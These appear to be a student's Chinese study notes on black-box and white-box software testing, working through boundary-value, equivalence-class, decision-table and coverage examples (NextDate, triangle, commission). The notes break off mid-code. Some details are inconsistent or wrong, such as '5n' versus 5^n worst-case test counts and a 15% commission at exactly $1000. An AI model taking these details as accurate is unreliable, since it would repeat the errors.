+次日问题是一个有三个变量表的函数:月,日,年。函数返回输入日期后面的那个日期。变量月,日,年,都具有整数值,且满足以下条件。C1: 1<= month <= 12.C2:1<=day<= 31.C3:1812<=year<= 2012 通过变量的取值范围对基本边界值分析方法进行归纳。对于次日函数,有月,天,年对应的变量,采用类FORTRAN语言(例如PASCAL 或者Ada可以吧变量Month定义为枚举类型1月,2月,12月)不管什么语言,最小值,略高最小值,正常值,略低最大值和最大值更具上下文可以确定。 + +最小值:对于月、日和年都取其最小值。因此,输入为 1/1/1812。 + +略高于最小值:对于月和日取其最小值,年取略高于最小值。例如,输入为 1/1/1813。 + +正常值:使用一个正常的并且可以实际出现的日期作为输入。例如,7/15/2000。 + +略低于最大值:对于月和日取其最大值,年取略低于最大值。例如,输入为 12/31/2011。 + +最大值:对于月、日和年都取其最大值。因此,输入为 12/31/2012。 + +边界值分析的局限性: +假定N个变量是相互独立的,没有考虑这些变量之间的相互依赖关系 + + +3.健壮性测试的基本思想 + +是边界值分析的一种简单扩展,除了使用五个边界值分析取值,还要通过采用一个略超过最大值(max+)的取值,以及一个略小于最小值(min-)的取值 +``` +例如 a∈[1,5], b∈[6,10] +则 a的取值:0,1,2,3,4,5,6 +b的取值:5,6,7,8,9,10,11 +(a,b)的取值: (3,5), (3,6), (3,7), (3,8), (3,9), (3,10), (3,11), (0,8), (1,8), (2,8), (3,8), (4,8), (5,8), (6,8) +``` + +4.一个变量个数为n的函数的健壮性测试会产生多少个测试用例? +6n+1 + +5.一个变量个数为n的函数的边界值分析测试会产生多少个测试用例? +4n+1 + +6.最坏情况测试的基本思想 + +边界值测试分析采用了可靠性理论的单缺陷假设。最坏情况测试拒绝这种假设,关心当多个变量取极值时会出现什么情况。 + +对每一个变量,分别确定一个包含最小值、略高于最小值、正常值、略低于最大值、最大值这五个元素的集合,然后对这些集合进行笛卡尔积计算,以获得测试用例 +X1的取值:x1min, x1min+, x1nom, x1max-, x1max +X2的取值:x2min, x2min+, x2nom, x2max-, x2max + +``` +例如 a∈[1,5], b∈[6,10] +则 a的取值:1,2,3,4,5 +b的取值:6,7,8,9,10 +(a,b)的取值: +(1,6), (1,7), (1,8), (1,9), (1,10) +(2,6), (2,7), (2,8), (2,9), (2,10) +(3,6), (3,7), (3,8), (3,9), (3,10) +(4,6), (4,7), (4,8), (4,9), (4,10) +(5,6), (5,7), (5,8), (5,9), (5,10) + +``` +一个变量个数为n的函数的最坏情况测试会产生5n个测试用例 + + +7.一个变量个数为n的函数的最坏情况测试测试会产生多少个测试用例? +5的N次方 + +8.最坏情况测试与基本边界值分析方法的比较 + +基本边界值分析测试用例是最坏情况测试用例的真子集 。 + +9.健壮最坏情况测试 + +对每一个变量,分别确定一个包含最小值、略高于最小值、正常值、略低于最大值、最大值,以及一个略超过最大值的取值,和一个略小于最小值的取值 这样七个元素的集合,然后对这些集合进行笛卡尔积计算,以生成测试用例 + +``` +例如 a∈[1,5], b∈[6,10] +则 a的取值:0,1,2,3,4,5,6 +b的取值:5,6,7,8,9,10,11 +(a,b)的取值: +(0,5),(0,6), (0,7), (0,8), (0,9), (0,10), (0,11) +(1,5),(1,6), (1,7), (1,8), (1,9), (1,10), (1,11) +(2,5),(2,6), (2,7), (2,8), (2,9), (2,10), (2,11) +(3,5),(3,6), (3,7), (3,8), (3,9), (3,10), (3,11) +(4,5),(4,6), (4,7), (4,8), (4,9), (4,10), (4,11) +(5,5),(5,6), (5,7), (5,8), (5,9), (5,10), (5,11) +(6,5),(6,6), (6,7), (6,8), (6,9), (6,10), (6,11) +``` + +10.一个变量个数为n的函数的健壮最坏情况测试会产生多少个测试用例? +7的N次方 + +11.特殊值测试 +边界值分析假定N个变量是相互独立的,没有考虑这些变量之间的相互依赖关系 +次日的边界值分析测试用例是不充分的 +没有强调2月和闰年 +月、日和年变量之间存在着依赖关系 +特殊值测试使用领域知识、使用类似程序的经验开发测试用例的特殊值 +设计多个测试用例会涉及2月28日、2月29日和闰年 + +12.三角形问题边界值分析测试用例 + +``` +问题描述:我们可以设三角形的3条边分别为A、B、C。如果它们能够构成三角形的3条边,必须满足: +A>0,B>0,C>0,且A+B>C,B+C>A,A+C>B。 +如果是等腰的,还要判断A=B,或B=C,或A=C。 +如果是等边的,则需判断是否A=B,且B=C,且A=C +假定每条边的取值范围是[1,200] +每条边的取值 +1, 2, 100, 199, 200 +``` +```c++ +#include +#include + +using namespace std; + +int main() +{ + double a, b, c; + cout << "Please input three numbers between 1 and 200: "; + cin >> a >> b >> c; + if (a < 1 || a > 200 || b < 1 || b > 200 || c < 1 || c > 200) { + cout << "Error: The input numbers are out of range." << endl; + return -1; + } + if (!(a + b > c && a + c > b && b + c > a)) { + cout << "Cannot form a triangle." << endl; + return 0; + } + if (a == b && b == c) { + cout << "This is an equilateral triangle." << endl; + } else if (a == b || b == c || a == c) { + cout << "This is an isosceles triangle." << endl; + } else { + cout << "This is a scalene triangle." << endl; + } + return 0; +} + +``` + + +13.三角形问题边界值分析测试用例 +``` +(1, 2, 100, 199, 200) +(1, 2, 100, 199, 200) +(1, 2, 100, 199, 200) + +(100,100,1)(100,100,2) (100,100,100) (100,100,199) (100,100,200) + +(100,1,100)(100,2,100) (100,100,100) (100,199,100) (100,200,100) + +(1,100,100)(2,100,100) (100,100,100) (199,100,100) (200,100,100) +``` + +14.次日问题函数最坏情况测试用例 + +月份取值 +1, 2, 6, 11, 12 (0,1, 2, 6, 11, 12,13) +日期取值 +1, 2, 15, 30, 31 (0,1, 2, 15, 30, 31,32) +年取值 +1812, 1813, 1912, 2011, 2012 (1811,1812, 1813, 1912, 2011, 2012 ,2013) + +``` +(0, 0), (0, 1), (0, 2), (0, 15), (0, 30), (0, 31), (0, 32), + (1, 0), (1, 1), (1, 2), (1, 15), (1, 30), (1, 31), (1, 32), + (2, 0), (2, 1), (2, 2), (2, 15), (2, 30), (2, 31), (2, 32), + (6, 0), (6, 1), (6, 2), (6, 15), (6, 30), (6, 31), (6, 32), + (11, 0), (11, 1), (11, 2), (11, 15), (11, 30), (11, 31), (11, 32), + (12, 0), (12, 1), (12, 2), (12, 15), (12, 30), (12, 31), (12, 32), + (13, 0), (13, 1), (13, 2), (13, 15), (13, 30), (13, 31), (13, 32) +``` +再求与年的笛卡尔积 + +15.佣金程序的问题描述 + +步枪销售商在亚利桑那州境内销售制造商制造的步枪机、枪托和枪管。 +枪机卖45美元,枪托卖30美元,枪管卖25美元。销售商每月至少要售出一枝完整的步枪,生产限额考虑到大多数销售商在一个月内可销售70个枪机、80个枪托和90个枪管。销售商在每访问一个镇子之后,给制造商发出电报,说明在那个镇子中售出的枪机、枪托和枪管数量。到了月末,销售商要发出一封很短的电报,通知-1个枪机被售出,以便制造商知道当月的销售情况 +销售商的佣金为:销售额不到(含)1000美元的部分,为10%;1000(不含)到1800(含)美元的部分,为15%;超过1800美元的部分为20% +佣金程序生成月份销售报告,汇总售出的枪机、枪托和枪管总数,销售商的总销售额,以及佣金。佣金问题的输入空间 +低于较低平面的值,对应低于1000美元门限的销售额,佣金为10% +两个平面之间的值,是15%佣金区域 +高于较高平面的值,对应高于1800美元门限的销售额,超过部分的佣金为20% + +寻找输出边界值(销售额)为100美元、1000美元、1800美元和7800美元对应的输入变量组合? + +答: +当销售额为100美元时,佣金为10% +输入变量组合:1枝枪机、0枝枪托和0根枪管 + +当销售额为1000美元时,佣金为15% +输入变量组合:22枝枪机、0枝枪托和0根枪管(共计990美元,接近1000美元门限点) +当销售额为1800美元时,佣金为15% +输入变量组合:55枝枪机、20枝枪托和0根枪管(共计1795美元,接近1800美元门限点) + +当销售额为7800美元时,佣金为20% +输入变量组合:70枝枪机、80枝枪托和90根枪管 +需要 + +通过电子表格或编写程序可以自动设计测试用例,节省了大量计算工作 +最大值和最小值的确定很容易,给出的数正好便于生成边界点。 +比如销售额接近1000美元和1800美元门限点的值。**输出值域的边界值** + +写出佣金问题的输出特殊值测试? + +答: + +``` +枪击10 枪托9 枪管9 销售额 1005 佣金 100.75 边界点+ +枪击18 枪托17 枪管19 销售额 1795 佣金 219.25边界点- +枪击18 枪托19 枪管17 销售额 1805 佣金 221 边界点+ +``` + +佣金问题的测试用例 +关键点测试用例9是1000美元的边界点 +枪机卖45美元,枪托卖30美元,枪管卖25美元,均卖10个 +调整输入变量则可以得到略低和略高于该边界的值 +测试用例6-8 +测试用例10-12 + +测试用例17恰好是1800美元临界值 +枪机卖45美元,枪托卖30美元,枪管卖25美元,各卖18个 +通过调整输入变量取值,可以构造略低于和略高于该临界值的输出 +测试用例14-16 +测试用例18-20 + +16.边界值分析的原则 + +如果输入条件规定了取值范围,或规定了值的个数,测试用例选择:范围的边界内,刚刚超出范围的边界外的值;或者说:最小值、稍高于最小值、正常值、稍低于最大值、最大值 + + +``` +例1:程序的规格说明:“重量在10~50公斤范围内的邮件,其计算邮费……” +测试用例选择:取10公斤,10.01公斤,25公斤,49.99公斤,50公斤 +例2:“某输入文件可包含1~255个记录,” +测试用例选择:记录个数取1,2,120,254,255 +``` + + +17.一个函数有2个输入,一个是大写A到Z的字母,另一个是在0到100之间的数字(可以取到边界),分别用边界值分析、健壮性测试和最坏情况测试的方法写出测试用例。 + +边界值分析 + +``` +(A,B,N,Y,Z) +(0,1 50,99,100) +(N,0)(N,1)(N,50)(N,99)(N,100) +(A,50)(B,50)(N,50)(Y,50)(Z,50) + +``` + +健壮性测试: + +``` +(A,B,N,Y,Z) +(-1,0,1 50,99,100,101) +(N,0)(N,1)(N,50)(N,99)(N,100) +(A,50)(B,50)(N,50)(Y,50)(Z,50) + +``` + +``` +(A,B,N,Y,Z) +(0,1 50,99,100) +(A,50)(B,50)(N,50)(Y,50)(Z,50) +(A,50)(B,50)(N,50)(Y,50)(Z,50) +(B,50)(B,50)(N,50)(Y,50)(Z,50) +(C,50)(C,50)(N,50)(Y,50)(Z,50) +.... +``` + +18.等价类测试 + +等价类的划分有两种不同的情况: +有效等价类(合理等价类) +无效等价类(不合理等价类) +划分等价类的标准: +覆盖 +不相交 +代表性 +- 如果输入条件规定了取值范围,可定义一个有效等价类和两个无效等价类。「学生成绩0~100」有效:60,无效-1,101 +- 如果规定了输入数据的个数,则类似地可以划分出一个有效等价类和两个无效等价类「学生只能选修1~3门」『有效:学生只能选修1~3门』『无效:不选。无效:选修超过3门』 +- 输入条件规定了输入值的集合,或是规定了“必须如何”的条件,则可确定一个有效等价类和一个无效等价类「标识符以字母开头”」 「有效等价类:以字母开头的字符串」「无效等价类:以非字母开头的字符串」 +- 如规定了输入数据的一组值,且程序对不同输入值做不同处理,则每个允许的输入值是一个有效等价类,并有一个无效等价类(所有不允许的输入值的集合)「输入条件说明学历可为:专科、本科、硕士、博士四种之一」「有效等价类:①专科、②本科、③硕士、④博士」「无效等价类:①其它任何学历」 +- 如果规定了输入数据必须遵循的规则,可确定一个有效等价类(符合规则)和若干个无效等价类(从不同角度违反规则)「校内电话号码拨外线为9开头」「有效等价类:① 9+外线号码」「无效等价类:①非9开头+外线号码 ② 9+非外线号码,…」 +- 如果确知,已划分的等价类中各元素在程序中的处理方式不同,则应将此等价类进一步划分成更小的等价类 + +``` +工资所得税计算:计税额=工资– 1600 +有效: +1 不超过500元的 5% +2 超过500元至2,000元的部分 10% +3 超过2,000元至5,000元的部分 15% +4 超过5,000元至20,000元的部分 20% +5 超过20 000元至40 000元的部分 25% +6 超过40,000元至60,000元的部分 30% +7 超过60,000元至80,000元的部分 35% +8 超过80,000元至100,000元的部分 40% +9 过100,000元的部分 45% +无效:a +``` + +19.设某公司要打印2001~2005年的报表,其中报表日期为6位数字组成,其中,前4位为年份,后两位为月份。 + +``` + 有效 无效 +个数: 6位数字 非数字,少于6,多于6 +year: 2001~2005 小于2000,大于2005 +month: 1~12 小于01 ,大于12 +测试数据 期望结果 覆盖范围 +200105 输入有效 等价类①②③ +测试数据 期望结果 覆盖范围 +001MAY 输入无效 等价类④ +20015 输入无效 等价类⑤ +2001005 输入无效 等价类⑥ +200005 输入无效 等价类⑦ +200805 输入无效 等价类⑧ +200100 输入无效 等价类⑨ +200113 输入无效 等价类⑩ +``` + +20.城市的电话号码由两部分组成。这两部分的名称和内容分别是: +地区码:以0开头的三位或者四位数字 +电话号码:以非0、非1开头的七位或者八位数字假定被调试的程序能接受一切符合上述规定的电话号码,拒绝所有不符合规定的号码,就可用等价分类法来设计它的测试用例 + + +``` +输入数据 +地区码 +有效等价类 +以0开头的3位数串 +以0开头的4位数串 +无效等价类 +以0开头的含非数字字符的3位或4位字符串 +以0开头的小于3位的数串 +以0开头的大于4位的数串 +以非0开头的3位或4位数串 + + +电话号码: +有效等价类 +以非0、非1开头的7位数串 +以非0、非1开头的8位数串 +无效等价类 +以0开头的7位或8位数串 +以1开头的7位或8位数串 +以非0、非1开头的含非数字字符的7位或8位字符串 +以非0、非1开头的小于7位数串 +以非0、非1开头的大于8位数串 + +``` +``` +测试数据 期望结果 覆盖范围 +010 23145678 显示有效输入 (1)、(8) +023 2234567 显示有效输入 (1)、(7) +0851 3456789 显示有效输入 (2)、(7) +0851 23145678 显示有效输入 (2)、(8) +``` + +21.三角形问题接受三个整数A、B和C作为输入,将其用作三角形三条边的长度值,程序的输出是由这三条边确定的三角形的类型:等边三角形、等腰三角形、不等边三角形或非三角形。 + +我们可以设三角形的3条边分别为A,B,C +如果它们能够构成三角形的3条边,必须满足:A>0,B>0,C>0,且A+B>C,B+C>A,A+C>B +如果是等腰的,还要判断A=B,或B=C,或A=C +如果是等边的,则需判断是否A=B,且B=C,且A=C + +22.“三角形问题接受三个整数A、B和C作为输入,将其用作三角形三条边的长度值,程序的输出是由这三条边确定的三角形的类型:等边三角形、等腰三角形、不等边三角形或非三角形。” + +我们可以设三角形的3条边分别为A,B,C +如果它们能够构成三角形的3条边,必须满足:A>0,B>0,C>0,且A+B>C,B+C>A,A+C>B +如果是等腰的,还要判断A=B,或B=C,或A=C +如果是等边的,则需判断是否A=B,且B=C,且A=C + + +``` +是否是三角形的三条边 +有效: +A>0 +B>0 +C>0 +A+B>C +A+C>B +B+C>A + +无效: +A<=0 +B<=0 +C<=0 +A+B<=C +A+C<=B +B+C<=A + +是否是等腰三角形 +有效: +A=B +B=C +A=C + +无效: +A!=B And B!=C And C!=A + +是否是等边三角形 +有效: +A=B and B=C and C=A + +无效: +A!=B +B!=C +C!=A +``` + +23.等价类测试的分类 + +- 弱一般等价类测试:弱一般等价类测试通过使用一个测试用例中的每个等价类(区间)的一个变量实现. +- 一个变量个数为n的函数的弱一般等价类测试会产生多少个测试用例? +区间个数的最大值 + +- 强一般等价类测试 +- 一个变量个数为n的函数的强一般等价类测试会产生多少个测试用例?各个输入变量区间数的乘积 + + +- 弱健壮等价类测试 + +- 强健壮等价类测试 + +24.一个具有两个自变量X1和X2的函数F,F实现位一个程序,且,输入变量X1和X2的边界以及边界内的区间 +a<= x1 <= d 且程序对X1取「a,b)「b,c」「c,d」 做出不同的处理 +e <=X2 <=g 区间为「e,f」「f,g」 + +25.三角形问题的输出(值域)等价类 +``` +4种可能出现的输出 +不是三角形、非等边三角形、等腰三角形和等边三角形 +输出(值域)等价类: +R1={:有三条边a、b和c的等边三角形} +R2={:有三条边a、b和c的等腰三角形} +R3={:有三条边a、b和c的不等边三角形} +R4={:三条边a、b和c不构成三角形} +``` + +26.弱一般等价类测试/弱健壮性测试/强健壮性测试 + +``` +弱一般等价类测试 + +测试用例 a b c 预期输出 +WN1 5 5 5 等边 +WN2 2 2 3 等腰 +WN3 3 4 5 不等边 +WN4 4 1 2 非三角 +``` + +``` +弱健壮性测试 + +测试用例 a b c 预期输出 +WN1 -5 5 5 a取值在不允许的取值值域内 +WN2 2 -2 5 b取值在不允许的取值值域内 +WN3 3 4 -1 c取值在不允许的取值值域内 +WN4 500 5 2 a取值在不允许的取值值域内 +WN5 2 200 5 b取值在不允许的取值值域内 +WN6 3 4 100 c取值在不允许的取值值域内 +``` + +``` +强健壮性测试 + +测试用例 a b c 预期输出 +WN1 -5 5 5 a取值在不允许的取值值域内 +WN2 2 -2 5 b取值在不允许的取值值域内 +WN3 3 4 -1 c取值在不允许的取值值域内 +WN4 -5 -5 5 a,b取值在不允许的取值值域内 +WN5 2 -2 -5 b,c取值在不允许的取值值域内 +WN6 -3 4 -1 a,c取值在不允许的取值值域内 +``` + + +27.NextDate 函数包含三个变量 month、day和year,函数的输出为输入日期后一天的日期。 例如,输入为1989年5月16日,则函数的输出为1989年5月17日。 要求输入变量 month、 day和year均为整数值,并且满足下列条件,也就是有效等价类:1 ≤ month ≤12 /1≤ day ≤31 /1812≤ year ≤2012 + +无效等价类:month<1,month>12,day<1,day>31,year<1812,year>2012 + +次日问题的弱一般等价类测试 + +``` +弱一般等价类测试 +month day year 输出 +6 15 1912 1912/6/16 +``` + +``` +弱健壮性测试 +month day year 输出 +6 15 1912 1912/6/16 +-1 15 1912 month 不在有效值域 +13 15 1912 month不在有效值域 +1 -1 1912 day 不在有效值域 +13 32 1912 day不在有效值域 +1 -1 1911 year 不在有效值域 +13 32 2013 year不在有效值域 + +``` +``` +强健壮性测试 +month day year 输出 +6 15 1912 1912/6/16 +-1 15 1912 month 不在有效值域 +13 15 1912 month不在有效值域 +1 -1 1912 day 不在有效值域 +13 32 1912 day不在有效值域 +1 -1 1911 year 不在有效值域 +13 32 2013 year不在有效值域 +-1 -1 1912 month,day 不在有效值域 +... +``` + +等价类测试的关键是等价关系的选择。如果能更细致地选择等价关系,那么得到的等价类可能更有用。 +等价关系的要点是,等价类中的元素将被“同样处理”。通过关注更具体的处理,可降低粒度。 + +``` +M1={月份:每月有30天} +M2={月份:每月有31天} +M3={月份:此月是2月} +D1={日期:1≤日期≤28} +D2={日期:日期=29} +D3={日期:日期=30} +D4={日期:日期=31} +Y1={年:年=2000} +Y2={年:年是闰年,且年≠2000} +Y3={年:年是平年} +``` + +按照新的等价类划分的方法产生的弱一般等价类测试 + +``` +弱一般等价类测试 +month day year 输出 +6 15 1912 1912/6/16 +2 30 2001 不可能的输入 +6 31 2000 不可能的输入 +``` + + +改进的强一般等价类测试用例 + +28.回顾佣金问题 +步枪销售商在亚利桑那州境内销售制造商制造的枪机、枪托和枪管。枪机卖45美元,枪托卖30美元,枪管卖25美元 +销售商每月至少要售出一枝完整的步枪,生产限额考虑到大多数销售商在一个月内可销售70个枪机、80个枪托和90个枪管 +销售商在每访问一个镇子之后,给制造商发出电报,说明在那个镇子中售出的枪机、枪托和枪管数量。到了月末,销售商要发出一封很短的电报,通知-1个枪机被售出 +销售商的佣金为:销售额不到(含)1000美元的部分,为10%;1000(不含)到1800(含)美元的部分,为15%;超过1800美元的部分为20% +佣金程序生成月份销售报告,汇总售出的枪机、枪托和枪管总数,销售商的总销售额,以及佣金 + +佣金问题的等价类测试用例 +``` +除了变量的名称和端点值区间不同之外,与次日函数的第一个版本完全相同,佣金问题也只有一个弱一般等价类测试用例,这个测试用例同样也等于强一般等价类测试用例 +佣金问题同样也有7个弱健壮测试用例 +``` +强健壮性等价类测试用例 + +``` +强健壮等价类测试 +ID 枪机 枪托 枪管 输出 +1 -1 40 45 枪机不在有效值域 +2 35 -1 45 枪托不在有效值域 +3 35 40 -1 枪管不在有效值域 +4 -1 -1 45 枪机,枪托不在有效值域 +.... +``` +29.佣金问题的输出值域等价类测试 + +根据佣金值域定义三个变量的等价类: +S1={<枪机,枪托,枪管>:销售额≤1000} +S2={<枪机,枪托,枪管>:1000 < 销售额≤1800} +S3={<枪机,枪托,枪管>:销售额>1800} + +``` +ID 枪机 枪托 枪管 销售额 输出 +1 5 5 5 500 50 +2 15 15 15 1500 175 +3 25 25 25 2500 360 +``` + +30.等价类测试方法 + +- 如果输入数据以离散值区间和集合定义,则等价类测试是合适的,当然也适用于如果变量值越界系统就会出现错误的系统 +- 如果程序函数很复杂,则等价类测试是合适的。在这种情况下,函数的复杂性可以帮助标识有用的等价类,就像次日函数一样 + + +31.练习:某公司招聘人员,其要求为:学历:本科及以上;专业:计算机或通信;年龄:22-30岁。请用弱一般等价类测试,强一般等价类测试和弱健壮等价类测试方法写出测试输入数据。 + +``` +弱一般等价类测试 +ID 学历 专业 年龄 输出 +1 本科 计算机 27 符合要求 +``` +一个变量个数为n的函数的弱一般等价类测试会产生多少个测试用例?区间个数的最大值 +``` +强一般等价类测试 +ID 学历 专业 年龄 输出 +1 本科 计算机 27 符合要求 +2 硕士 计算机 29 符合要求 +3 博士 计算机 29 符合要求 +``` +一个变量个数为n的函数的强一般等价类测试会产生多少个测试用例?各个输入变量区间数的乘积 +``` +弱健壮性测试 +ID 学历 专业 年龄 输出 +1 本科 计算机 27 符合要求 +2 本科一下 计算机 29 不符合要求 +3 本科 非计算机 29 不符合要求 +4 本科 计算机 31 不符合要求 + +``` + +## Part-4 基于判定表的测试 + +1.判定表的组成 + +``` +条件桩 条件项 规则 +动作桩 动作项 +``` + +三角形问题基于判定表的测试用例 + +``` + +a,b,c构成三角形? N Y Y Y +a=b - Y +a=c - Y +b=c - Y +非三角形 X +不等边三角形 +等腰三角形 +等边三角形 X + +``` +贯穿条件项和动作项的一列 + +2.问题要求:”对功率大于50马力且维修记录不全的机器,或者已运行10年以上的机器,应给予优先的维修处理……” +假定,“维修记录不全”和“优先维修处理”均已在别处有更严格的定义 +按5步建立判定表 + +``` +功率大于50 +维修记录不全 +运行10年以上 + +优先维修处理 +其他处理 +``` + + +3.次日函数基于判定表的测试用例 + +``` +等价类集合 +M1={月份:每月有30天} +M2={月份:每月有31天} +M3={月份:此月是2月} +D1={日期:1≤日期≤28} +D2={日期:日期=29} +D3={日期:日期=30} +D4={日期:日期=31} +Y1={年:年是闰年} +Y2={年:年不是闰年} + +月在M1 +月在M2 +月在M3 +日在D1 +日在D2 +日在D3 +年在Y1 + +基于等价类的带有互相排斥条件决策表 +等价类集合 +M1={月份:每月有30天} +M2={月份:每月有31天} +M3={月份:此月是2月} +D1={日期:1≤日期≤28} +D2={日期:日期=29} +D3={日期:日期=30} +D4={日期:日期=31} +Y1={年:年=2000} +Y2={年:年是闰年,且年≠2000} +避免条件项“重叠”,减少冗余 +Y3={年:年是平年} + +月在 M1 M1 M1 M1 M2 M2 M2 M2 M3 M3 M3 +日在 D1 D2 D3 D4 +年在 + +不可能 +日增1 +日复位 +月增1 +月复位 +年增1 + +``` +3.佣金问题基于判定表的测试用例 + +决策表分析不太适合佣金问题 +在佣金问题中只有很少的判断逻辑 +if-then-else逻辑很突出 +输入变量之间存在逻辑关系 +涉及输入变量子集的计算 +输入与输出之间存在因果关系 +很高的McCabe圈复杂度 + + + +4.练习 + +某银行发放贷款原则如下 1对于贷款未超过限额的客户,允许立即贷款。2对于贷款超过限额的客户,若过去还款记录好且本次贷款在2万元以下,可作出贷款安排;否则拒绝贷款。请绘出发放贷款的决策表并优化。 + +``` +贷款未超过限额 T +还款记录好 T +本次贷款在2万元以下 T + +允许立即贷款 T F +``` + + +5.功能性测试 + +这些方法的共同之处就是将程序看作是将输入映射到输出的数学函数。根据研究输入值的属性演变成基于边界值的方法,等价类的方法和判定表的方法、因果图、正交测试等。 + +6.边界值分析 + +边界值分析:单缺陷、正常值 +健壮性测试:单缺陷、有异常情况 +最坏情况测试:多缺陷、正常值 +健壮最坏情况测试:多缺陷、有异常情况 + +7.等价类划分 + +弱一般:单缺陷、正常值 +强一般:多缺陷、正常值 +弱健壮:单缺陷、异常值 +强健壮:多缺陷、异常值 + +8.判定表,决策表 + + +9.每种测试方法的精细程度 + +边界值分析 +不识别数据或逻辑依赖关系,采用非常机械的方式生成测试用例,很容易被自动化 + +等价类划分 +注意到数据依赖关系和函数本身使用这些手段需要更多的考虑,还需要更多的判断和技巧 +首先要考虑如何标识等价类,之后的处理也是机械的 + +判定表 +要求测试人员既要考虑数据,又要考虑逻辑依赖关系 +通常通过一遍尝试可能不能得到决策表的条件,但是如果有了一个良好的条件集合,所得到的测试用例就是完备的,在一定意义上还是最少的 + + +精细程度从小到大 +测试用例效果从小到大 + +10.根据两个因素计算半年保险金 +投保人的年龄 +驾驶历史记录 +保险金=基本保险费率×年龄系数-安全驾驶折扣 +年龄系数是投保人年龄的函数 +如果投保人驾驶执照上的当前点数(根据交通违规次数确定)低于与年龄有关的门限,则给予安全驾驶折扣 +驾驶人年龄范围为从16岁到100岁 +如果投保人有12点,则驾驶人的执照就会被吊销(因此不需要保险) +基本保险费率随时间变化,对于这个例子,是每半年500美元 +``` +年龄和点数在最坏情况边界值测试下的取值 +年龄 16 17 54 99 100 +点数 0 1 6 11 12 +``` + +## Part-5 结构性测试-控制流测试 + + +控制流测试:以程序图为基础(结点表示语句片断,边表示控制流),通过图论的一些知识完全从程序的结构来定义结构性的测试,而不考虑代码本身的内在关系 + +基于数据流的测试:从代码本身的内在关系出发进行的一种结构性的测试 + + +1.逻辑覆盖 + +语句覆盖: +判定覆盖:判定覆盖(Decision Coverage):要求每个判断语句的两种结果至少执行一次,以覆盖所有可能的路径。 + +判定覆盖(Decision Coverage):要求每个判断语句的两种结果至少执行一次,以覆盖所有可能的路径。 + +条件覆盖:条件覆盖(Condition Coverage):在判定覆盖的基础上,要求每个条件语句中的每个条件都取到true和false两种可能值。 + +判定-条件覆盖:要求每个判断语句中的每个条件都取到true和false两种可能值,并且每个判断本身的判定结果(真假)都至少执行一次。 + + +条件组合覆盖:条件组合覆盖要求覆盖每个判断语句的所有条件组合,以确保所有可能情况都被测试到。 + +路径覆盖:路径覆盖(Path Coverage):要求覆盖程序中所有可能的路径,即从程序的入口进入,直到所有可能的出口,期间每条可行的路径都走一遍。这是最严格的覆盖标准。 + +```c++ +int a,b; +double c ; +scanf("%d,%d,%f",&a,&b,&c); // 读入 a, b, c +if (a > 0 && b > 0) { // 如果同时满足 a > 0 和 b > 0 + c = c / a; // 执行除法运算,并将结果赋值给 c +} +if (a > 1 || c > 1) { // 如果 a > 1 或者 c > 1 + c = c + 1; // 将 c 加一 +} +c = b + c; // 将 b 和 c 相加,将结果赋值给 c +printf("%d, %d, %.2f\n", a, b, c); // 输出 a, b, c ,其中 c 保留两位小数 + +``` + +语句覆盖 +``` +a=2 b=1 c=6 +``` + +判定覆盖 + +``` +a=-1 b=0 c=0 +a= 2 b= 1 c= 2 +``` + +条件覆盖 +``` +a=-1 b=0 c=0 +a= 2 b= 1 c= 2 +``` + +判定-条件 + +``` +a=-1 b=0 c=0 +a= 2 b= 1 c= 2 +``` + +条件-组合 +``` +a=1 b=1 c=1 +a=2 b=1 c=2 +a=-1 b= -1 c=-1 +a=2 b=-1 c=2 +``` +路径风格 +``` +a=1 b=1 c=1 +a=1 b=1 c=2 +a=0 b=1 c=2 +a=0 b=1 c=1 +``` + +2.DD路径 + +程序图/控制流图 +节点: +以标有编号的圆圈表示。它代表了程序流程图中矩形框表示的处理、菱形表示的两个到多个出口判断以及两条到多条流线相交的汇合点。**可以把几个节点合并成一个,合并的原则是:若在一个节点序列中没有分支,则我们可以把这个序列的节点都合并成一个节点** + + +3.半路径/路径 +半路径:就是一条没有回路的路径,它的起点和终点没有限制,但是路径中相邻的某两条边必须有公共的一个节点。 + +路径:是由一系列边组成的,每两条相邻的边必须满足第一条边的终止节点是第二条边的起始节点,才能形成一条合法的路径。 + + +4.有向图中的两个结点ni和nj + +0-连接,当且仅当ni和nj之间没有路径 +1-连接,当且仅当ni和nj之间有一条半路径,但没有路径 +2-连接,当且仅当ni和nj之间有一条路径 +3-连接,当且仅当ni和nj之间有一条路径,并且从nj到ni有一条路径 + +5.DD-路径是程序图中的一条链 +情况1:由一个结点组成,indeg=0; +情况2:由一个结点组成,outdeg=0; +情况3:由一个结点组成,indeg≥2 或 outdeg≥2; +情况4:由一个结点组成,indeg=1 并且outdeg=1; +情况5:长度≥1的最大链 + +6.McCabe圈复杂度 +分支节点数加1/ E – N + 2 + + +7.基路径测试步骤 +导出程序流程图的拓扑结构——控制流图(程序图) +计算控制流图的McCabe圈复杂度(设为n) +确定基本路径集,即构造n条独立路径 + +``` +原始 +在B处翻转 +在F处翻转 +在H处翻转 +在J处翻转 +1-2-3-6-7-9-10-1-11 +1-11 +1-2-3-4,5-10-1-11 +1-2-3-6-8-9-10-1-11 +``` + +8.练习 +``` +原始 +2 3 10 5 6 +1-2-10-11-13 +1-2-10-12-13 +1-2-3-10-11-13 +1-2-3-4-5-8-9-2 +1-2-3-4-5-6-8-9-2 +1-2-3-4-5-6-7-8-9-2 + +``` + +8.请分别选出用语句覆盖,条件覆盖,路径覆盖应用哪组测试用例(请写出设计过程)。 + +语句覆盖:(1)(2) +条件覆盖:(1)(4) (2) +路径覆盖:(1)(4) (2) + +9.基路径测试一下程序 + + + + +## Part-6 结构性测试-基于数据流的测试 + +数据流测试关注**变量接收值**的点和**使用这些值**的**点** + +**覆盖每个定义-使用路径一次** + +1.变量定义的节点 +DEF(v, n) +变量v的值由对应结点n的语句片段处定义 +``` +DEF(lockPrice,7) +DEF(locks,13) +``` +2.变量使用的节点 +USE(v, n) +变量v的值在对应结点n的语句片段处使用 +``` +USE(commission,33) +USE(commission,41) +``` +USE(v, n)是一个谓词使用(记作P-use),当且仅当语句n是谓词语句;否则,USE(v, n)是计算使用(记作C-use) +- 谓词使用的结点,其出度≥2 +- 计算使用的结点,其出度≤1 + +3.变量v的定义-使用路径(记作du-path) +P中的所有路径集合PATHS(P)中的路径,使得对某个v∈V,存在定义和使用结点DEF(v, m)和USE(v, n),使得m和n是该路径的最初和最终结点 + +4.变量v的定义清除路径(definition-clear path,记作dc-path) +最初和最终结点DEF(v, m)和USE(v, n)的PATHS(P)中的路径,使得该路径中没有其他结点是v的定义结点,没有定义节点,可以是为、 +``` +结点序列<11,12,13,14,15,16,17>组成的路径(11,17)是定义清除路径 +``` +```c++ +Program Commission(input,output) +Dim 